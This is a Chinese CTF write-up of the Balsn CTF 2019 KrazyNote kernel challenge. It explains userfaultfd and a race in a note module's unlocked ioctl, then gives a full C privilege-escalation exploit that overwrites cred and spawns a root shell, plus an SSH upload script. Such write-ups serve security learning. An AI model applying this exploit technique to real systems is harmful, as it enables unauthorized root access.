美文网首页内核安全LinuxCTF
【linux内核userfaultfd使用】Balsn CTF

【linux内核userfaultfd使用】Balsn CTF

作者: bsauce | 来源:发表于2019-10-27 22:57 被阅读0次

    转自我的https://xz.aliyun.com/t/6653

    本文所有测试文件地址见:[https://github.com/bsauce/CTF/tree/master/KrazyNote-Balsn%20CTF%202019](https://github.com/bsauce/CTF/tree/master/KrazyNote-Balsn CTF 2019)

    userfaltfd在内核漏洞利用中非常有用,借这道题来学习一下。

    一、背景知识

    1.提权

    内核提权一般需要利用漏洞来修改task_struct中的cred结构,commit_cred(prepare_kernel_creds(0))会帮你找到cred结构并修改。

    SMEP防止在内核态执行用户态代码,采用ROP来绕过;SMAP防止内核态使用用户态数据,切断了用户态的ROP,可以copy_from_usercopy_to_user来绕过SMAP。

    2.页和虚内存

    内核的内存主要有两个区域,RAM和交换区,即将被使用的内存保存在RAM中,暂时不被使用的内存放在交换区,内核控制交换进出过程。RAM中地址是物理地址,而内核使用虚地址,所以通过页表建立虚地址到物理地址的映射。虚拟页和物理页大小都是0x1000字节,64位系统下需252个页,还是很大,可采用多级页表

    3.页调度与延迟加载

    有的内存既不在RAM也不在交换区,例如mmap创建的内存映射页。mmap页在read/write访问之前,实际上还没有创建(还没有映射到实际的物理页),例如:mmap(0x1337000, 0x1000, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_PRIVATE, fd, 0);

    内核并未将fd内容拷贝到0x1337000,只是将地址0x1337000映射到文件fd

    当有如下代码访问时:

    char *a = (char *)0x1337000
    printf("content: %c\n", a[0]);
    

    若发生对该页的引用,则(1)为0x1337000创建物理帧,(2)从fd读内容到0x1337000,(3)并在页表标记合适的入口,以便识别0x1337000虚地址。如果是堆空间映射,仅第2步不同,只需将对应物理帧清0。

    总之,若首次访问mmap创建的页,会耗时很长,会导致上下文切换和当前线程的睡眠。

    4.别名页 Alias pages

    没有ABI能直接访问物理页,但内核有时需要修改物理帧的值(例如修改页表入口),于是引入了别名页,将物理帧映射到虚拟页。在每个线程的启动和退出的页表中,所以大多数物理帧有两个虚拟页映射到它,这就是“别名”的由来。通常别名页的地址是SOME_OFFSET + physical address

    5.userfaultfd

    userfaultfd机制可以让用户来处理缺页,可以在用户空间定义自己的page fau handler。用法请参考官方文档,含示例代码,见文件userfaultfd_demo.c

    Step 1: 创建一个描述符uffd

    所有的注册内存区间、配置和最终的缺页处理等就都需要用ioctl来对这个uffd操作。ioctl-userfaultfd支持UFFDIO_APIUFFDIO_REGISTERUFFDIO_UNREGISTERUFFDIO_COPYUFFDIO_ZEROPAGEUFFDIO_WAKE等选项。比如UFFDIO_REGISTER用来向userfaultfd机制注册一个监视区域,这个区域发生缺页时,需要用UFFDIO_COPY来向缺页的地址拷贝自定义数据。

    # 2 个用于注册、注销的ioctl选项:
    UFFDIO_REGISTER                 注册将触发user-fault的内存地址
    UFFDIO_UNREGISTER               注销将触发user-fault的内存地址
    # 3 个用于处理user-fault事件的ioctl选项:
    UFFDIO_COPY                     用已知数据填充user-fault页
    UFFDIO_ZEROPAGE                 将user-fault页填零
    UFFDIO_WAKE                     用于配合上面两项中 UFFDIO_COPY_MODE_DONTWAKE 和
                                    UFFDIO_ZEROPAGE_MODE_DONTWAKE模式实现批量填充  
    # 1 个用于配置uffd特殊用途的ioctl选项:
    UFFDIO_API                      它又包括如下feature可以配置:
                                    UFFD_FEATURE_EVENT_FORK         (since Linux 4.11)
                                    UFFD_FEATURE_EVENT_REMAP        (since Linux 4.11)
                                    UFFD_FEATURE_EVENT_REMOVE       (since Linux 4.11)
                                    UFFD_FEATURE_EVENT_UNMAP        (since Linux 4.11)
                                    UFFD_FEATURE_MISSING_HUGETLBFS  (since Linux 4.11)
                                    UFFD_FEATURE_MISSING_SHMEM      (since Linux 4.11)
                                    UFFD_FEATURE_SIGBUS             (since Linux 4.14)
    
    // userfaultfd系统调用创建并返回一个uffd,类似一个文件的fd
    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    

    STEP 2. 用ioctl的UFFDIO_REGISTER选项注册监视区域

    // 注册时要用一个struct uffdio_register结构传递注册信息:
    // struct uffdio_range {
    // __u64 start;    /* Start of range */
    // __u64 len;      /* Length of range (bytes) */
    // };
    //
    // struct uffdio_register {
    // struct uffdio_range range;
    // __u64 mode;     /* Desired mode of operation (input) */
    // __u64 ioctls;   /* Available ioctl() operations (output) */
    // };
    
    addr = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0)
    // addr 和 len 分别是我匿名映射返回的地址和长度,赋值到uffdio_register
    uffdio_register.range.start = (unsigned long) addr;
    uffdio_register.range.len = len;
    // mode 只支持 UFFDIO_REGISTER_MODE_MISSING
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    // 用ioctl的UFFDIO_REGISTER注册
    ioctl(uffd, UFFDIO_REGISTER, &uffdio_register);
    

    STEP 3. 创建一个处理专用的线程轮询和处理”user-fault”事件

    要使用userfaultfd,需要创建一个处理专用的线程轮询和处理”user-fault”事件。主进程中就要调用pthread_create创建这个自定义的handler线程:

    // 主进程中调用pthread_create创建一个fault handler线程
    pthread_create(&thr, NULL, fault_handler_thread, (void *) uffd);
    

    一个自定义的线程函数举例如下,这里处理的是一个普通的匿名页用户态缺页,我们要做的是把我们一个已有的一个page大小的buffer内容拷贝到缺页的内存地址处。用到了poll函数轮询uffd,并对轮询到的UFFD_EVENT_PAGEFAULT事件(event)用拷贝(ioctl的UFFDIO_COPY选项)进行处理。

    注意:如果写exp只需处理一次缺页,可以不用循环。

    static void * fault_handler_thread(void *arg)
    {    
        // 轮询uffd读到的信息需要存在一个struct uffd_msg对象中
        static struct uffd_msg msg;
        // ioctl的UFFDIO_COPY选项需要我们构造一个struct uffdio_copy对象
        struct uffdio_copy uffdio_copy;
        uffd = (long) arg;
          ......
        for (;;) { // 此线程不断进行polling,所以是死循环
            // poll需要我们构造一个struct pollfd对象
            struct pollfd pollfd;
            pollfd.fd = uffd;
            pollfd.events = POLLIN;
            poll(&pollfd, 1, -1);
            // 读出user-fault相关信息
            read(uffd, &msg, sizeof(msg));
            // 对于我们所注册的一般user-fault功能,都应是UFFD_EVENT_PAGEFAULT这个事件
            assert(msg.event == UFFD_EVENT_PAGEFAULT);
            // 构造uffdio_copy进而调用ioctl-UFFDIO_COPY处理这个user-fault
            uffdio_copy.src = (unsigned long) page;
            uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1);
            uffdio_copy.len = page_size;
            uffdio_copy.mode = 0;
            uffdio_copy.copy = 0;
            // page(我们已有的一个页大小的数据)中page_size大小的内容将被拷贝到新分配的msg.arg.pagefault.address内存页中
            ioctl(uffd, UFFDIO_COPY, &uffdio_copy);
              ......
        }
    }
    

    二、漏洞分析

    1.init_module()函数

    void init_module()
    {
      bufPtr = bufStart;
      return misc_register(&dev);
    }
    

    devstruct miscdevice结构

    struct miscdevice  {
        int minor;
        const char *name;
        const struct file_operations *fops;
        struct list_head list;
        struct device *parent;
        struct device *this_device;
        const struct attribute_group **groups;
        const char *nodename;
        umode_t mode;
    };
    
    #在IDA中看dev结构,dev_name是"note",fops指向0x680处。
    .data:0000000000000620 dev             db  0Bh                 ; DATA XREF: init_module+5↑o
    .data:0000000000000620                                         ; cleanup_module+5↑o
    .data:0000000000000621                 db    0
    .data:0000000000000622                 db    0
    .data:0000000000000623                 db    0
    .data:0000000000000624                 db    0
    .data:0000000000000625                 db    0
    .data:0000000000000626                 db    0
    .data:0000000000000627                 db    0
    .data:0000000000000628                 dq offset aNote         ; "note"
    .data:0000000000000630                 dq offset unk_680
    .data:0000000000000638                 align 80h
    .data:0000000000000680 unk_680         db    0                 ; DATA XREF: .data:0000000000000630↑o
    
    // file_operations结构
    struct file_operations {
        struct module *owner;
        loff_t (*llseek) (struct file *, loff_t, int);
        ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
        ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
        ssize_t (*read_iter) (struct kiocb *, struct iov_iter *);
        ssize_t (*write_iter) (struct kiocb *, struct iov_iter *);
        int (*iopoll)(struct kiocb *kiocb, bool spin);
        int (*iterate) (struct file *, struct dir_context *);
        int (*iterate_shared) (struct file *, struct dir_context *);
        __poll_t (*poll) (struct file *, struct poll_table_struct *);
        long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
        long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
        
        ... truncated
    };
    

    unk_680对应file_operations结构,发现只定义了openunlocked_ioctl函数,其他都是null。unlocked_ioctlcompat_ioctl有区别,unlocked_ioctl不使用内核提供的全局同步锁,所有的同步原语需自己实现,所以可能存在条件竞争漏洞。

    2.unlocked_ioctl()函数

    unlocked_ioctl()函数实现4个功能:new/edit/show/delete。

    // 从用户缓冲区userPtr拷贝参数到req结构, note length / note content
    void * unlocked_ioctl(file *f, int operation, void *userPtr)
    {
      char encBuffer[0x20];
      struct noteRequest req;
    
      memset(encBuffer, 0, sizeof(encBuffer));
      if ( copy_from_user(&req, userPtr, sizeof(req)) )
        return -14;
      /* make note, view note, edit note, delete note */
      return result;
    }
    
    // noteRequest结构——用户参数
    struct noteRequest{
      size_t idx;
      size_t length;
      size_t userptr;
    }
    // note结构——存储的note
    struct note {
        unsigned long key;
        unsigned char length;
        void *contentPtr;
        char content[];
    }
    
    //(1) new note功能, operation == -256
    /* 创建note,从bufPtr分配空间,从current_task获取key(task_struct.mm->pgd,页全局目录的存放位置),对content进行XOR加密。最后将(&note->content - page_offset_base)值保存,别名页的地址是【SOME_OFFSET + physical address】,page_offset_base就是这个SOME_OFFSET。没开kaslr时,page_offset_base固定,否则随机化。
    注意:length长度范围是0~0x100,从汇编指令可看出来`movzx   ecx, byte ptr [rsp+140h+req.length]`,是byte级赋值操作。
    */
        if ( operation == -256 )
        {
            idx = 0;
            while ( 1 )
            {
              if (!notes[idx])
                break;
            if (++idx == 16)
                return -14LL;
            } // 从全局数组notes找到空位,最多16个note
    
        new = (note *)bufPtr;
        req.noteIndex = idx;
        notes[idx] = (struct note *)bufPtr;
        new->length = req.noteLength;
        new->key = *(void **)(*(void **)(__readgsqword((unsigned __int64)&current_task) + 0x7E8) + 80);// ????
        bufPtr = &new->content[req.length];
    
        if ( req.length > 0x100uLL )
        {
          _warn_printk("Buffer overflow detected (%d < %lu)!\n", 256LL, req.length);
          BUG();
        }
    
        _check_object_size(encBuffer, req.length, 0LL);
        copy_from_user(encBuffer, userptr, req.length);
        length = req.length;
    
        if ( req.length )
        {
          i = 0LL;
          do
          {
            encBuffer[i / 8] ^= new->key;         // encryption
            i += 8LL;
          }
          while ( i < length );
        }
    
        memcpy(new->content, encBuffer, length);
        new->contentPtr = &new->content[-page_offset_base];// 注意 page_offset_base
        return 0;
    
    //(2) delete功能:清空note数组,把bufPtr指向全局缓冲区开头,并清0。
    ptr = notes;
    if (operation == -253)
    {
    do                  
    {
      *ptr = 0LL;
      ++ptr;
    }
    while (ptr < note_end);
    
    bufPtr = bufStart;
    memset(bufStart, 0, sizeof(bufStart));  
    return 0;
    
    // (3) edit功能。注意copy_from_user很耗时,能增大race的成功率
    if (operation == -255)
    {
        note = notes[idx];
        if ( note )
        {
        length = note->length;
        userptr = req.userptr;
        contentPtr = (note->contentPtr + page_offset_base);
        _check_object_size(encBuffer, length, 0LL);
        copy_from_user(encBuffer, userptr, length);
        if ( length )
            {
                i = 0;
                do
                {
                  encBuffer[i/8] ^= note->key;
                  i += 8LL;
                }
                while (length > i);                    
                memcpy(contentPtr, encBuffer, length)
            }
        return 0LL;
        }
    }
    
    // (4) show功能。将content用XOR解密后用copy_to_user打印出来。
    if ( (_DWORD)operation == -254 )
    {
      tmp_note2 = (note *)global_notes[note_idx2];
        result = 0LL;
        if ( tmp_note2 )
        {
          len = LOBYTE(tmp_note2->length);          
          contentPtr2 = (_DWORD *)(tmp_note2->contentPtr + page_offset_base);
          memcpy(encBuffer, contentPtr, len)
        }
      if ( len )
      {
         ji_2 = 0LL;
         do
         {
           encBuffer[ji_2 / 8] ^= tmp_note2->key;
           ji_2 += 8LL;
         }
         while ( ji_2 < len );
       }
       userptr = req.userptr;
       _check_object_size(encBuffer, len, 1LL);
       copy_to_user(userptr, encBuffer, len);
       result = 0LL;
    }
    

    3.漏洞

    考虑以下两线程:

    thread 1 thread 2
    edit note 0 (size 0x10) idle
    copy_from_user idle
    idle delete all notes
    idle add note 0 with size 0x0
    idle add note 1 with size 0x0
    continue edit of note 0 (size 0x10) idle

    由于edit时copy_from_user首次访问mmap地址,触发缺页处理函数,等线程2删除所有note并重新添加两个note后,线程1才继续编辑note 0,此时的编辑content size还是0x10,所以就会产生溢出。

    三、漏洞利用

    1.利用方法

    目标:若伪造note结构,就能构造任意地址读写。

    // note结构
    struct note {
        unsigned long key;
        unsigned char length;
        void *contentPtr;
        char content[];
    }
    

    key值泄露:若读取note 0,则会将加密后的null字节也打印出来,其实就是key值。

    0x0 note 0, with content size 0x10
    0x18 note 1
    0x30 NULL’ed out data

    module基址泄露:得到key后,可以得到contentPtr值,contentPtr须加上page_base_offset才是真实指针。就能以module的.bss相对地址进行任意读写,可读出notes数组从而泄露module基址。

    内核基址泄露:可读取module的0x6c处的.text:000000000000006C call _copy_from_user来泄露内核基址。

    page_offset_base泄露:读取.text:00000000000001F7 mov r12, cs:page_offset_base处的4字节偏移page_offset_base_offset,再读取page_offset_base_offset + 0x1fe + mudule_base处的值,就是page_offset_base的值。为什么非要泄露它呢,因为读/写都是以它为基地址。

    // 泄露内核基址:读取0x6c处的值,取出32位offset,加上pc即可得到copy_from_user函数地址。
    unsigned long leak = read64(0x6c + moduleBase);
    long int offset = *((int *)(((char *)&leak) + 1)) + 5;
    copy_from_user = offset + moduleBase + 0x6c;
    

    2.exploit

    为了准确控制线程1在copy_from_usercopy_to_user处停住,需用到userfaultfd(处理用户空间的页错误)。注意本题的漏洞根本原因在于使用了unlocked_ioctl,对全局数组notes进行访问时没有上锁,所以才能用userfaultfdcopy_from_user处暂停。

    触发溢出步骤

    (1)创建1个content length长度为0x10的note。

    (2)创建1个userfalut fd,来监视0x1337000地址处的页错误。

    (3)对note0 进行edit,并利用mmap将传进去的userptr指针指向0x1337000地址空间。

    (4)在edit note0执行到copy_from_user时,进入页错误处理程序。

    (5)也错误处理程序中,清空notes,并创建note0/note1,content length都是0。

    (6)恢复执行edit note0,将note1的content length覆盖为0xf0。

    (7)触发溢出。

    利用步骤

    (1)泄露key:输出note1,content内容为NULL,输出内容会与key异或,仍为key。

    (2)泄露module_base:创建note2,输出note1,会输出note2的contentPtr指针,即可计算出module_base。

    (3)泄露page_offset_base:edit note1,将note2的contentPtr改成module_base+0x1fa.text:00000000000001F7 mov r12, cs:page_offset_base,show note2泄露page_offset_base在module中的偏移page_offset_base_offsetedit note,将note2的contentPtr改成module_base+0x1fe+page_offset_base_offset,泄露出page_offset_base

    (4)搜索cred地址:利用prctl的PR_SET_NAME功能搜索到task_struct结构,(满足条件:real_cred—NAME前0x10处cred—NAME前0x8处指针值相等且位于内核空间,大于0xffff000000000000);将note2的contentPtr覆盖为cred_addr-page_offset_base+4

    (5)修改cred提权。

    EXP如下:见exp_cred.c

    // gcc -static -pthread xx.c -g -o xx
    #define _GNU_SOURCE
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <sys/ioctl.h>
    #include <string.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <sys/mman.h>
    #include <poll.h>
    #include <pthread.h>
    #include <errno.h>
    #include <signal.h>
    #include <sys/syscall.h>
    #include <sys/types.h>
    #include <linux/userfaultfd.h>
    #include <pthread.h>
    #include <poll.h>
    #include <sys/prctl.h>
    #include <stdint.h>
    
    typedef struct _noteRequest
    {
        size_t idx;
        size_t length;
        char* userptr;
    }noteRequest;
    
    int fd;
    void init()
    {
        fd = open("/dev/note", 0);
        if (fd<0)
            exit(-1);
        puts("[+] init done!");
    }
    void errExit(char* msg)
    {
        puts(msg);
        exit(-1);
    }
    
    void create(char* buf, uint8_t length)
    {
        noteRequest req;
        req.length  = length;
        req.userptr = buf;
        if (ioctl(fd, -256, &req) < 0)
            errExit("[-] Failed to create!");
    }
    
    void edit(uint8_t idx, char* buf, uint8_t length)
    {
        noteRequest req;
        req.length  = length;
        req.userptr = buf;
        req.idx     = idx;
        if (ioctl(fd, -255, &req) < 0)
            errExit("[-] Failed to edit!");
    }
    
    void show(uint8_t idx, char* buf)
    {
        noteRequest req;
        req.userptr = buf;
        req.idx     = idx;
        if (ioctl(fd, -254, &req) < 0)
            errExit("[-] Failed to show!");
    }
    
    void delete()
    {
        noteRequest req;
        if (ioctl(fd, -253, &req) < 0)
            errExit("[-] Failed to delete!");
    }
    
    char buffer[0x1000];
    #define FAULT_PAGE ((void*)(0x1337000))
    
    void* handler(void *arg)
    {
        struct uffd_msg msg;
        unsigned long uffd = (unsigned long)arg;
        puts("[+] Handler created");
    
        struct pollfd pollfd;
        int nready;
        pollfd.fd     = uffd;
        pollfd.events = POLLIN;
        nready = poll(&pollfd, 1, -1);
        if (nready != 1)  // 这会一直等待,直到copy_from_user访问FAULT_PAGE
            errExit("[-] Wrong pool return value");
        printf("[+] Trigger! I'm going to hang\n");
    
        //现在主线程停在copy_from_user函数了,可以进行利用了
        delete();
        create(buffer, 0);
        create(buffer, 0);
        // 原始内存:note0 struct + 0x10 buffer
        // 当前内存:note0 struct + note1 struct
        // 当主线程继续拷贝时,就会破坏note1区域
    
        if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) // 偶从uffd读取msg结构,虽然没用
            errExit("[-] Error in reading uffd_msg");
    
        struct uffdio_copy uc;
        memset(buffer, 0, sizeof(buffer));
        buffer[8] = 0xf0; //把note1 的length改成0xf0
    
        uc.src = (unsigned long)buffer;
        uc.dst = (unsigned long)FAULT_PAGE;
        uc.len = 0x1000;
        uc.mode = 0;
        ioctl(uffd, UFFDIO_COPY, &uc);  // 恢复执行copy_from_user
    
        puts("[+] done 1");
        return NULL;
    }
    
    void register_userfault()
    {
        struct uffdio_api ua;
        struct uffdio_register ur;
        pthread_t thr;
    
        uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
        ua.api = UFFD_API;
        ua.features = 0;
        if (ioctl(uffd, UFFDIO_API, &ua) == -1) // create the user fault fd
            errExit("[-] ioctl-UFFDIO_API");
        if (mmap(FAULT_PAGE, 0x1000, 7, 0x22, -1, 0) != FAULT_PAGE)//create page used for user fault
            errExit("[-] mmap fault page");
    
        ur.range.start = (unsigned long)FAULT_PAGE;
        ur.range.len   = 0x1000;
        ur.mode        = UFFDIO_REGISTER_MODE_MISSING;
        if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
            errExit("[-] ioctl-UFFDIO_REGISTER"); //注册页地址与错误处理fd,这样只要copy_from_user
                                          //访问到FAULT_PAGE,则访问被挂起,uffd会接收到信号
        int s = pthread_create(&thr, NULL, handler, (void*)uffd);
        if (s!=0)
            errExit("[-] pthread_create"); // handler函数进行访存错误处理
    }
    
    int main(int argc, char const *argv[])
    {
        init();
        create(buffer, 0x10);  // memory layout: note struct + 0x10 buffer
        register_userfault();  // register the user fault
        edit(0, FAULT_PAGE, 1);
               /* 漏洞在于edit没有实现锁,所以执行到copy_from_user时访存错误被挂起,
               notes被其他线程篡改,copy_from_user继续运行时导致OOB 和 R&W */
        // 1.leak key
        show(1, buffer);
        unsigned long key = *(unsigned long *)buffer; 
    
        create(buffer, 0);   // note2: can be overwritten
    
        // 2. leak module base
        show(1,buffer);      
        unsigned long bss_addr = *(unsigned long*) (buffer + 0x10) ^ key;
        unsigned long module_base = bss_addr - 0x2568;
        printf("[+] key=0x%lx     module_base=0x%lx\n", key, module_base);
    
        // 3. leak base addr, not kernel_base
        unsigned long page_offset_base = module_base + 0x1fa;
        unsigned long* fake_note = (unsigned long*)buffer;
        fake_note[0] = 0 ^ key;  // note2的key变成0
        fake_note[1] = 4 ^ key;
        fake_note[2] = page_offset_base ^ key;
        edit(1, buffer, 0x18);
        int page_offset_base_offset;
        show(2, (char*)&page_offset_base_offset);
        printf("[+] page_offset_base_offset = 0x%x\n", page_offset_base_offset);
               //0x1f7处是指令 .text:00000000000001F7                 mov     r12, cs:page_offset_base
               //             .text:00000000000001FE                 add     r12, [rax+10h]
        // 计算存基址的地址,并读出该地址
        page_offset_base = module_base + 0x1fe + page_offset_base_offset;
        printf("[+] page_offset_base = 0x%lx\n", page_offset_base);
        fake_note[1] = 8 ^ key;
        fake_note[2] = page_offset_base ^ key;
        edit(1, buffer, 0x18);
        unsigned long base_addr;
        show(2, (char *)&base_addr);
        printf("[+] base_addr = 0x%lx\n", base_addr);
    
        // 4. search cred   注意:都是相对base_addr找的,所以从偏移0开始找
        if (prctl(PR_SET_NAME, "try2findmesauce") < 0)
            errExit("[-] prctl set name failed");
        unsigned long* task;
        for (size_t off = 0; ; off += 0x100)  // 由于length只能是1字节,所以1次只能读0xff
        {
            fake_note[0] = 0 ^ key;
            fake_note[1] = 0xfff ^ key;
            fake_note[2] = off ^ key;
            edit(1, buffer, 0x18);
            memset(buffer, 0, 0x100);
            show(2, buffer);
            task = (unsigned long*)memmem(buffer, 0x100, "try2findmesauce", 14);
            if (task != NULL)
            {
                printf("[+] found: %p 0x%lx, 0x%lx\n", task, task[-1], task[-2]);
                if (task[-1] > 0xffff000000000000 && task[-2] > 0xffff000000000000)  // 确保cred地址在内核空间
                    break;
            }
        }
    
        // 5. change cred to 0
        fake_note[0] = 0 ^ key;
        fake_note[1] = 0x28 ^ key;
        fake_note[2] = (task[-2] + 4 - base_addr) ^ key;  // 注意一定是修改相对base_addr的地址
        edit(1, buffer, 0x18);
    
        int fake_cred[8];
        memset(fake_cred, 0, sizeof(fake_cred));
        edit(2, (char*)fake_cred, 0x28);
    
        char* args[2] = {"/bin/sh", NULL};
        execv("/bin/sh", args);
        return 0;
    }
    

    想利用call_usermodehelper方法来写,但发现prctl_hook怎么都修改不了(可能是系统不允许修改prctl_hook)。报错信息如下:

    不过可以改modprobe_path,利用脚本见exp_modprobe.c

    /home/note # ./test
    [+] init done!
    [+] Handler created
    [+] Trigger! I'm going to hang
    [+] done 1
    [+] key=0xffff9a3f0ea52000     module_base=0x65c0c00f0000
    [+] page_offset_base_offset = 0xe5babaa2
    [+] page_offset_base = 0x65c0a5c9bca0
    [+] base_addr = 0xffff9a3f00000000
    [+] real module_base = 0xffffffffc00f0000
    [+] kernel_base = 0xffffffffa4e00000
    [+] order_cmd_addr = 0xffffffffa5e5d940
    [+] prctl_hook_addr = 0xffffffffa5cb0460
    [+] poweroff_work_func_addr = 0xffffffffa4ead300
    [*] Wait 1!
    1
    [*] Wait 2!2
    [   16.235460] BUG: unable to handle kernel paging request at ffffffffa5cb0460
    [   16.238245] #PF error: [PROT] [WRITE]
    [   16.239130] PGD 9c12067 P4D 9c12067 PUD 9c13063 PMD eb8a163 PTE 8000000009ab0061
    [   16.240921] Oops: 0003 [#1] SMP PTI
    [   16.241536] CPU: 0 PID: 169 Comm: test Tainted: G           OE     5.1.9 #1
    [   16.242241] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
    [   16.243084] RIP: 0010:0xffffffffc00f034f
    [   16.243980] Code: de e8 65 7d 31 e5 48 2b 2d 6e b9 ba e5 31 c0 49 89 6c 24 10 e9 eb fd ff ff 48 8b 44 24 18 49 8d 7c 24 08 48 89 de 48 83 e7 f8 <49> 89 04 24 89 e8 48 8b 54 03 f8 49 89 54 04 f8 49 29 fc 31 c0 4c
    [   16.246040] RSP: 0018:ffffb4a9c0233d40 EFLAGS: 00000282
    [   16.246269] RAX: ffffffffa4ead300 RBX: ffffb4a9c0233d58 RCX: ffffffffc00f2550
    [   16.246690] RDX: ffffffffc00f0000 RSI: ffffb4a9c0233d58 RDI: ffffffffa5cb0468
    [   16.247939] RBP: 0000000000000020 R08: ffffffffc00f0000 R09: 0000000000000000
    [   16.248679] R10: 0000000000000000 R11: 0000000000000000 R12: ffffffffa5cb0460
    [   16.249253] R13: 00007fff98029c40 R14: 00007fff98029be0 R15: 0000000000000000
    [   16.250133] FS:  0000000001524880(0000) GS:ffff9a3f0f400000(0000) knlGS:0000000000000000
    [   16.251110] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
    [   16.251654] CR2: ffffffffa5cb0460 CR3: 000000000ea52000 CR4: 00000000003006f0
    [   16.252143] Call Trace:
    [   16.253153]  ? __ia32_sys_reboot+0x20/0x20
    [   16.254058]  ? 0xffffffffc00f0000
    [   16.254712]  do_vfs_ioctl+0xa1/0x620
    [   16.255031]  ? vfs_read+0xfb/0x110
    [   16.255355]  ksys_ioctl+0x66/0x70
    [   16.255582]  __x64_sys_ioctl+0x16/0x20
    [   16.255829]  do_syscall_64+0x55/0x110
    [   16.256102]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
    [   16.256469] RIP: 0033:0x4468b7
    [   16.256807] Code: 48 83 c4 08 48 89 d8 5b 5d c3 66 0f 1f 84 00 00 00 00 00 48 89 e8 48 f7 d8 48 39 c3 0f 92 c0 eb 92 66 90 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 0f 83 5d 06 fc ff c3 66 2e 0f 1f 84 00 00 00 00
    [   16.257880] RSP: 002b:00007fff98029bc8 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
    [   16.258288] RAX: ffffffffffffffda RBX: 00000000004002e0 RCX: 00000000004468b7
    [   16.258653] RDX: 00007fff98029be0 RSI: ffffffffffffff01 RDI: 0000000000000003
    [   16.259016] RBP: 00007fff98029c00 R08: 0000000000000000 R09: 0000000000000000
    [   16.259694] R10: 0000000000000000 R11: 0000000000000246 R12: 00000000004073a0
    [   16.259853] R13: 0000000000407430 R14: 0000000000000000 R15: 0000000000000000
    [   16.260087] Modules linked in: note(OE)
    [   16.263528] CR2: ffffffffa5cb0460
    [   16.266388] ---[ end trace 5ced815cb65d3b46 ]---
    [   16.269277] RIP: 0010:0xffffffffc00f034f
    [   16.270061] Code: de e8 65 7d 31 e5 48 2b 2d 6e b9 ba e5 31 c0 49 89 6c 24 10 e9 eb fd ff ff 48 8b 44 24 18 49 8d 7c 24 08 48 89 de 48 83 e7 f8 <49> 89 04 24 89 e8 48 8b 54 03 f8 49 89 54 04 f8 49 29 fc 31 c0 4c
    [   16.271021] RSP: 0018:ffffb4a9c0233d40 EFLAGS: 00000282
    [   16.271331] RAX: ffffffffa4ead300 RBX: ffffb4a9c0233d58 RCX: ffffffffc00f2550
    [   16.271704] RDX: ffffffffc00f0000 RSI: ffffb4a9c0233d58 RDI: ffffffffa5cb0468
    [   16.272078] RBP: 0000000000000020 R08: ffffffffc00f0000 R09: 0000000000000000
    [   16.272486] R10: 0000000000000000 R11: 0000000000000000 R12: ffffffffa5cb0460
    [   16.272858] R13: 00007fff98029c40 R14: 00007fff98029be0 R15: 0000000000000000
    [   16.273394] FS:  0000000001524880(0000) GS:ffff9a3f0f400000(0000) knlGS:0000000000000000
    [   16.273865] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
    [   16.274193] CR2: ffffffffa5cb0460 CR3: 000000000ea52000 CR4: 00000000003006f0
    [   16.274679] Kernel panic - not syncing: Fatal exception
    [   16.275555] Kernel Offset: 0x23e00000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff)
    [   16.276853] Rebooting in 1 seconds..
    

    问题

    1.打包错误

    #重新打包后会报错,可能是/bin/busybox 给的权限不对,chmod 777再打包就可以了
    mount: you must be root 
    mount: you must be root
    mount: you must be root 
    /etc/init.d/rcS: line 8: can't create /proc/sys/kernel/dmesg_restrict: nonexistent directory 
    /etc/init.d/rcS: line 9: can't create /proc/sys/kernel/kptr_restrict: nonexistent directory insmod: 
    can't insert 'note.ko': Operation not permitted 
    

    2.文件过大

    可以参考这篇writeup,利用uclibc来编译二进制文件,环境配置比较麻烦,可直接下载一个配置好的系统

    3.上传文件并执行

    #!/usr/bin/env python2
    from pwn import *
    
    def send_command(cmd, print_cmd = True, print_resp = False):
        if print_cmd:
            log.info(cmd)
    
        p.sendlineafter("$", cmd)
        resp = p.recvuntil("$")
    
        if print_resp:
            log.info(resp)
    
        p.unrecv("$")
        return resp
    
    def send_file(name):
        file = read(name)
        f = b64e(file)
    
        send_command("rm /home/note/a.gz.b64")
        send_command("rm /home/note/a.gz")
        send_command("rm /home/note/a")
    
        size = 800
        for i in range(len(f)/size + 1):
            log.info("Sending chunk {}/{}".format(i, len(f)/size))
            send_command("echo -n '{}'>>/home/note/a.gz.b64".format(f[i*size:(i+1)*size]), False)
    
        send_command("cat /home/note/a.gz.b64 | base64 -d > /home/note/a.gz")
        send_command("gzip -d /home/note/a.gz")
        send_command("chmod +x /home/note/a")
    
    def exploit():
        send_file("exploit.gz")
        #send_command("/home/note/a")
        p.sendline("/home/note/a")
        p.interactive()
    
    if __name__ == "__main__":
    
        #context.log_level = 'debug'
        s = ssh(host="krazynote-3.balsnctf.com", port=54321, user="knote", password="knote", timeout=5)
        p = s.shell('/bin/sh')
        #p = process("./run.sh")
        exploit()
    

    参考

    https://www.anquanke.com/post/id/189015

    https://pr0cf5.github.io/ctf/2019/10/10/balsn-ctf-krazynote.html

    https://github.com/Mem2019/Mem2019.github.io/blob/master/codes/krazynote.c

    userfaultfd使用方法

    从内核到用户空间(1) — 用户态缺页处理机制 userfaultfd 的使用

    http://man7.org/linux/man-pages/man2/userfaultfd.2.html

    https://github.com/pr0cf5/CTF-writeups/blob/master/2019/BalsnCTF/knote/exploit.c

    相关文章

      网友评论

